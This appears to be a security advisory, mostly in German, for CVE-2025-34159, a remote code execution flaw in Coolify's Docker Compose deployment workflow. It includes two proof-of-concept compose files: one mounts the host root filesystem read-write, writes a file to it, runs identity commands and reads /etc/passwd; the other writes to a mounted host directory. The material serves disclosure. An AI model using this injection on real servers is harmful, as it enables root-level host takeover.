
A critical Remote Code Execution (RCE) vulnerability exists in Coolify's application deployment workflow. This flaw allows a low-privileged member to inject arbitrary Docker Compose directives during project creation or updates. By defining a malicious service that mounts the host filesystem an attacker can achieve root-level command execution on
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2025-34159 |
| Betroffen | Coolify ≤ v4.0.0-beta.420.6 |
| Behoben in | v4.0.0-beta.420.7 |
| Schweregrad | Kritisch |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-78 (OS-Befehlseinschleusung), CWE-20 (Unzureichende Eingabevalidierung) |
Eine kritische Remote-Code-Ausführungs-Lücke (RCE) existiert im Bereitstellungs-Workflow von Coolify. Dieser Fehler ermöglicht es einem Mitglied mit niedrigen Berechtigungen, während der Erstellung oder Aktualisierung eines Projekts beliebige Docker-Compose-Direktiven einzuschleusen. Durch die Definition eines schädlichen Dienstes, der das Host-Dateisystem einbindet, kann ein Angreifer eine Befehlsausführung auf dem Host-Betriebssystem mit Root-Rechten erreichen und damit die Container-Isolierung vollständig umgehen.
Die Schwachstelle liegt im Projektbereitstellungs-Workflow, bei dem benutzerdefinierte Docker-Compose-Konfigurationen ohne ausreichende Validierung oder Sandboxing verarbeitet werden.
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo '[*] Proof of RCE on host' &&
echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
whoami &&
id &&
uname -a &&
head -n 5 /host/etc/passwd
"
Ergebnis: Nach der Bereitstellung erscheint /tmp/proof_rce.txt auf dem Host-System, was RCE mit Root-Rechten bestätigt.
version: '3.8'
services:
poc-host-write:
image: alpine:3.19
tty: true
volumes:
- /home/eyodav/PoC:/host
command: >
sh -c "
set -e;
mkdir -p /host &&
echo '[*] Writing PoC file to host mount...' &&
echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
cd /host &&
pwd &&
ls -la
"
/tmp/proof_rce.txt) oder durch Überprüfung der Befehlsausgabe in den Bereitstellungsprotokollen